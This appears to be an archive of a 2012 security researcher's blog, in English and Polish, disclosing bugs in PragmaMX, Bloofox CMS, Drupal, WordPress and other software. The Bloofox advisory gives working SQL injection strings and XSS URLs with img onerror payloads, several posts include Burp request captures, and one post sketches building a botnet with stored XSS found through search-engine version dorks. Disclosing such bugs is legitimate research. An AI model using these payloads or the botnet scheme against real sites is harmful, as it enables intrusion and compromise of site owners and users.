- http://portswigger.net

#.............................................................#
# 5. Mail me, I'm still looking for a new projects... ;)
#.............................................................#
# Best regards
#

[EN] PragmaMX 1.12.1 - simple "html injection"


# TITLE ....... # PragmaMx 1.12.1 Basic HTML Injection (for users logged-in) ............ #
# DATE ........ # 17.03.2012 ............................................................ #
# AUTOHR ...... # http://hauntit.blogspot.com ........................................... #
# SOFT LINK ... # http://www.pragmamx.org ............................................... #
# VERSION ..... # 1.12.1 ................................................................ #
# TESTED ON ... # LAMP .................................................................. #
# ....................................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
I called it 'basic html injection' because we can send 'HTML' via this form (of logged-in user).
We can not send 'all HTML tags' but only defined in webapplication.
TO know how we can do XSS or phishing, we can try to 'bruteforce' all HTML tags
(in this scenario tags should be similar to tags we (user) can add in posts.

#............................................#
# 3. Where is bug :)
...cut from Burp...
POST /www/pragmamx.1.12.1/html/modules.php?name=Private_Messages HTTP/1.1
Host: localhost
(...)

subject=aaaaa&message=aaaaaaaaaaaaaaaaa&name=Private_Messages&file=buddy&to_userid=3&op=send&to=test;)<br>test;)<br>test;)<br>test;)<br>&x=59&y=22
...cut from Burp...

#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#

[EN] PragmaMx 1.12.1 - 'bomb' for logged-in users (in Private_Messages)

In latest PragmaMX I found interesting behavior. Described below:

# TITLE ....... # PragmaMx 1.12.1 - 'bomb' for logged-in users (in Private_Messages) ........ #
# DATE ........ # 18.03.2012 ................................................................................... #
# AUTOHR ...... # http://hauntit.blogspot.com .................................................................. #
# SOFT LINK ... # http://www.pragmamx.org ...................................................................... #
# VERSION ..... # 1.12.1 ....................................................................................... #
# TESTED ON ... # LAMP ......................................................................................... #
# .............................................................................................................. #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
When I was fuzzing this application I found very interesting thing.
Look at traffic from Burp at (3).

#............................................#
# 3. Where is bug :)

...cut from Burp...
POST /www/lastz/pragmamx.1.12.1/html/modules.php?name=Private_Messages HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0
Referer: http://localhost/www/lastz/pragmamx.1.12.1/html/modules.php?name=Private_Messages&file=buddy&op=compose&to=tester
Cookie: mxlalala=lalala; tab_ya_edituser=1; PHPSESSID=PHPSESSID
Content-Type: application/x-www-form-urlencoded
Content-Length: 177
Connection: close

subject=aaaaa&message=aaaaaaaaaaaaaaaaa&name=Private_Messages&file=buddy&to_userid=-999999999999999&op=-999999999999999&to=-999999999999999&x=-999999999999999&y=-999999999999999
...cut from Burp...

What I saw at this stage You can check at my blog (4).
Description should be: after I build this payload (-999...) and send it to PragmaMx Via Burp,
response status was 200 (OK). So I copied url string and 'send it to browser'.
Page started to create new windows in messages (of other fuzzing tests).

'-999...' it's not 'only payload' to see this.
You can try many more, like: 23 or 1, 1 or 1=1, phpinfo(), etc.

Try it ;)

#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

#............................................#
# Best regards
#



Thursday 15 March 2012

[EN] April: Projects



As You know I'm always looking for a new projects.
So if You want to update my resume...;)
Let me know, how can I help You.

Wednesday 14 March 2012

[EN] Burp "is on fire!"

Yes, (the) Burp, (the) Burp, (the) Burp "is on fire,
we don't need no water, just the"... vi, and python coder... ;D

I meen: new pack-of-bugs release soon! ;)

[EN] PrestaShop 1.4.7.0 XSS - Updated!

Here we go again...
Latest PrestaShop is vulnerable to cross-site scripting.

First I though that vulnerability exists only in "admin part" of webapp, but
surprise: there is another xss in 'normal' (or 'not-admin') part (of web) too.

Questions?

Tuesday 13 March 2012

[EN] Drupal 7.12 user-enumeration

Yep, another day of testing Drupal code, and today I found user-enumeration bug.

Drupal seems to be vulnerable to user enumeration but this vulnerability is dedicated to logged-in users only:)


If You want to check it at Your installation, let me know ... ;)
Just like it was with Wordpress bugs.


I will present more technical details in April.

Maybe this one today:


 ;)

 Questions? Priv.

Sunday 11 March 2012

[PL] Smakowitości TDC


Chciałbym w tym poście podziękować jednemu z polskich autorów,
który chyba jako jeden z pierwszych (o ile nie pierwszy nie licząc mnie) napisał
w naszym rodzimym języku o ostatnio odkrytych błędach w najnowszym Wordpress'ie (3.3.1).

Oprócz tego, na blogu Tomka znajdziecie również masę informacji ze świata technologii i elektroniki,
dlatego odwiedzajcie go często! ;)

Tutaj znajdziecie więcej: http://tdc-smakowitosci.blogspot.com/ .

[EN]"Lesson learned" - updated!


I just saw a little update on http://packetstormsecurity.org/files/author/9483/.
So "Lesson learned" page is updated now too! ;)

Thanks for PacketStorm Security Team!

Cheers
o/

[EN] Drupal 7.12 bug - Updated 9:0







I'm working on exploit for latest Drupal (7.12). 

Now there is "next part of fuzzing" started, so post will be updated soon (maybe today/*tommorow).
Anyway: I need some help with writing patch. 
If You are interested, let me know! ;)

 *... today ;) *
Fuzzing still in progress (with a lot of "reading";))
But for now we can say:
  • for not logged : there is information disclosure (or I will extend it if possible to something more useful)
  • for logged-in as a normal/registered/authenticated user: ... ;) 
Soon.

* 12.03.2012 - 8:30 - Updated *
After 2 days, I have 3 different bugs for latest Drupal.
So, if You're still interested in exploit/patch process development, let me know! ;)


* 12.03.2012 - 9:52 - Updated *
Wow, it will be a very busy Monday ;)

I found another bug in Drupal, this time is in admin panel, (but in case when 'normal user' will do sql-injection from bugs I described at the top of this post, there is a risk of be-0wned ;P)

From 'simple' fuzzing of my 'simple' tools, there is simple 'total score': 
- 3 sql-injection (or will be extended to something more/less)
- 5 information disclosure bugs 

*13.03.2012 - 3:36 - Updated*
 Ok. So for now there is 9 vulnerabilities. :)

Possible both situations:
- sql injection / information disclosure from normal/registered user
- like before, but for admin...

To be continued... ;) 

Thursday 8 March 2012

[EN] Interview

Today is 'interview day', so wish me luck! ;)

CU @ Warsaw ;)

SQL injection/XSS in latest Bloofox CMS 0.4.0

# TITLE ....... # Multiple Post-auth sql injection/xss in Bloofox CMS 0.4.0 .... #
# DATE ........ # 08.03.2012
# AUTOHR ...... # http://hauntit.blogspot.com
# SOFT LINK ... # http://www.bloofox.com/
# VERSION ..... # 0.4.0
# TESTED ON ... # LAMP
# .............................................................................. #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

#............................................#
# 2. What is the type of vulnerability?
This is sql injection bug, but important is fact that this vulnerability
can be triggered only by 'editor'-role user.

#............................................#
# 3. Where is bug :)
# A) sqli

Log in as a 'editor'-role user.

http://bloofoxCMS_0.4.0/admin/index.php?page=profiles&user_id=;'

And here is view from source code:
...cut...
bloofoxCMS_0.4.0/admin$ grep -n -r -e "uid" ./ | grep -e "\\$"| grep GET
./include/inc_user_user.php:152:        $db->query("SELECT * FROM ".$tbl_prefix."sys_user WHERE uid = '".$_GET['userid']."' ORDER BY uid LIMIT 1");
./include/inc_user_user.php:210:        $db->query("SELECT uid,username FROM ".$tbl_prefix."sys_user WHERE uid = '".$_GET['userid']."' ORDER BY uid LIMIT 1");
...cut...

Try this:
&user_id=2' or '1'%3d'2
&user_id=2' or '2'%3d'2

;)

#............................................#
# B) sqli-02

...cut from Burp...
POST /www/lastz/bloofoxcms/bloofoxCMS_0.4.0/admin/index.php?mode=content&action=new HTTP/1.1
Host: localhost
(...)
Connection: close

name=AAAAAAAA3&link_type=3&link_url=&link_eid=1'%20and%20password%20%3d%20'1'%20or%20'1'%3d'1'&link_plugin=3&insert=1&insert_where=0&link_target=&link_param=&blocked=0&invisible=0&startdate=&enddate=&keywords=&description=&template_id=0&send=Add+Page

...cut from Burp...

Vulnerable parameter is link_eid.
This command should help You find vulnerable code:
@bloofoxCMS_0.4.0/admin$ grep -n -r -e link_eid ./

Another vulnerable parameter is "insert", "eid",

#............................................#
# C) xss

All parameters are vulnerable to XSS too.

#............................................#
# xss-02

http://bloofoxCMS_0.4.0/admin/index.php?mode=content&page=media&action=edit&file=%22%2f%3E%3Cimg%20src%3ddef%20onerror%3daBlert%2812312312323%29%3E%3C&type=1
http://bloofoxCMS_0.4.0/admin/index.php?mode=content&page=media&action=edit&file=de.gif&type=%22}}%27%22%3E%3Cimg%20src%3ddef%20onerror%3daBlert%2812312312323%29%3E

Vulnerable parameters: 'file'.

Some sqli, You should get here too:
When You are updating Your profile (as an editor) at /admin/index.php?page=myprofile
Try this parameters to make test-attacks: showemail, gender, be_lang, be_tmpl

#............................................#
# 4. More...

- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net


#............................................#
# Best regards
#


Wednesday 7 March 2012

"How I owned 27 MLN box'xs ;]" - NOT true story! ;]


In "OMG - break"-time I wrote one note for You... ;)
Here it is:

(...)

Hello, once upon a time...
Just kiddin.. not this way. ;]
Ok, so as I wrote few posts ago, there is a funny thing I am doing last weeks.

Various crazy scenario of attacks showed me various things.
From information disclosure bugs to "not presented in public"
(some of them I posted here, some not like XSS in PMA3.4.5 or some sqli-bugs).

When I was searching possibility to 'store codes in applications',
I was looking for 'whats next' or 'how to use it "for real"' ;).

So... "we found this XSS for logged users only". What's next, what's big deal, what's the difference...? :)
Hmmmm, deface-rence? own3d-rence? what-3lse-rence? ;>

"Why of why" this stored code in <add_Your's_CMS_here;)> application "will be" used like this?

Because, attacker who wants Your files/box/etc, will attack You via any possible way.
Any :)
So, please understand it: even only one simple "not critical" hole can make You owned.

Simple way:
1. attacker will create 'new account'. (let's say, there is a bug in comments like this )
2. now attacker is logged in. so if xss is in this part of webapp, he can put his code here.
What code?
  • shell 
  • malware
  • phishing
Simple? :)
3. Added code is making whole part of other (nexts) attacks,

Ok. Now second thing:
if Your CMS used in internal (companys) networks, Your users are vulnerable too:
1. attacks-to-person - for example secretary, reception, marketing offices (in our company), etc
2. spam vulnerabilities

So, let's go deeper. :)

"How I owned 27 MLN box'xs?" In my imagination only. :)
 Reason is simple: I do not break the law.

But there is one thing You should be sure:
someone somewhere is searching for new vulnerabilities in lates products.
Webapps, closed-source soft, whatever.

Now, simple XSS for "normal user" can be used for this:
You found bug in some latest $cms?
Type this version in www.google.com. Got the idea?
So type this version (where vuln You found) @Google + "Powered.by"... ;]
Got it now? ;)

Answer You will see in millions.
"
In a short way: if Your webapp/CMS can be exploited by XSS, then there is no
problem to build botnet (site:powered.by... and write python code to store-XSS and 'search for next target' should tell You the rest).

And that's the whole story. ;)

For testing security, ask here.

New release 02.2012 - Updated 8.03

18.02.2012-vs-Wordpress_3.3.1_post-auth-persistent-xss.txt 2 KB
17.02.2012-vs-Wordpress_3.3.1_information_disclosure.txt 2 KB
16.02.2012-vs-Wordpress_3.3.1-post-auth-sql-injection.txt 3 KB
15.02.2012-vs-Wordpress-3.3.1-users-encouter-bug.txt 4 KB
11.02.2012-vs-Flatnuke_3.0.1_XSS_for_admin.txt 2 KB
09.02.2012-vs-e107.CMS-1.0.0-reflected.XSS_for_admin-logged-in.txt 2 KB
06.02.2012-vs-e107.CMS-1.0.0-pre-auth-reflected-XSS.txt 2 KB
05.02.2012-vs-e107.CMS-1.0.0-Multiple.txt 7 KB
29.01.2012-vs-LotusCMS_3.0.5_Multiple.txt

If You want more, let me know ;)

Saturday 3 March 2012

[EN] EFTP Server version 3.3.1.145 overflowed

I know this is not a new software, but durning fuzzing tests and lessons I found this interesting overflow bug:

~ 100*'A' for MDTM command

Of course this bug is very simple. Anyway it is good to learn how software works;)

EFTP Server You can find here.


* Update 19:04 *



 To make an "attack" we can send only 5 A's via MDTM command ;)

Cheers!

Friday 2 March 2012

[PL] Blog Pawła - dzięki! ;)

Pewnego popołudnia dostałem wiadomość na jednym z portali, czy przypadkiem informacje z
Joomla-newslettera  to "moja sprawka"... :>

Ogólnie bardzo miła niespodzianka, zwłaszcza, że autor postanowił
wspomnieć o tym na swoim blogu - co uważam za "komplement" - dzięki! ;)

Więcej informacji znajdziecie tutaj: http://blog.elimu.pl/

[PL] Wordpress 3.3.1 no-0day exploits - [Aktualizacja]


Szybka piątkowa notka ;)

Zgodnie z tym co wspominałem, w marcu miałem zamiar opublikować szczegóły związane ze znalezionymi
błędami w ostatniej (3.3.1) wersji Wordpress'a. Postanowiłem jednak podzielić się informacją z pierwszymi 6cioma osobami, które fajnie umotywują swoją chęć poznania tychże "strasznych luk" ;P

Nie taki błąd straszny jak go malują... ;)
Tak więc "bilans" przedstawia się następująco:

Mamy "XSS'a dla użytkownika zarejestrowanego", mamy "information disclosure", mamy enumeracje userów i zabawę z parametrami... ;)

Czas "stop" w poniedziałek o 23:59. Maile kierujcie tutaj! ;)

Miłego weekendu! o/

* Uprade 5.03 - 21:20 * 

Obiecałem sobie, że nie sprawdzę poczty, dopóki nie minie obiecana "godzina 0".
Ale coś mnie podkusiło...

Niesamowite, że odezwało się aż tyle osób! ;D Czyżbyście wszyscy mieli Wordpress'a? ;]

Obiecane "kto pierwszy ten lepszy" przesyłam od razu. ;)

Nastąpiła jednak mała zmiana - niespodzianka:
Z racji tak dużego zainteresowania z Waszej strony, wysyłam kod+info Wszystkim,
którzy do tej pory do mnie napisali ;)

Bawcie się się dobrze, byle legalnie! ;)

o/

[EN] Wordpress 3.3.1 no-0day exploits - Updated - 12.03!


Quick note from Friday ;)

As I mentioned here in March I decided to post some "more technical" details, but...
only for the first 6 of You who send me message about why I should send 'details' to him ;>

Still no free-days :< :*

From now to Monday 23:59 Central UE time...
Enjoy Your weekend! ;)

Cheers!


* Update 5.03 - 21:20 *

I promised myself, that I don't check my e-mail, until there won't be "hour 0".
But something tempted me...

It's amazing, that there is so many answers/requests! ;D I understand that all of You installed WP? ;]

Like I sad "first come first served", so You should check Your mail's now. ;)

Also... :) There is a little "modification - surprise":
Because there was so many requests of code and/or info, I will send it to all people,
who asked me about it. For now. ;)

Have fun, any legally! ;)

o/


*Update 12.03.2012*
If You want more information about WordPress vulnerabilities, check  this tag!;)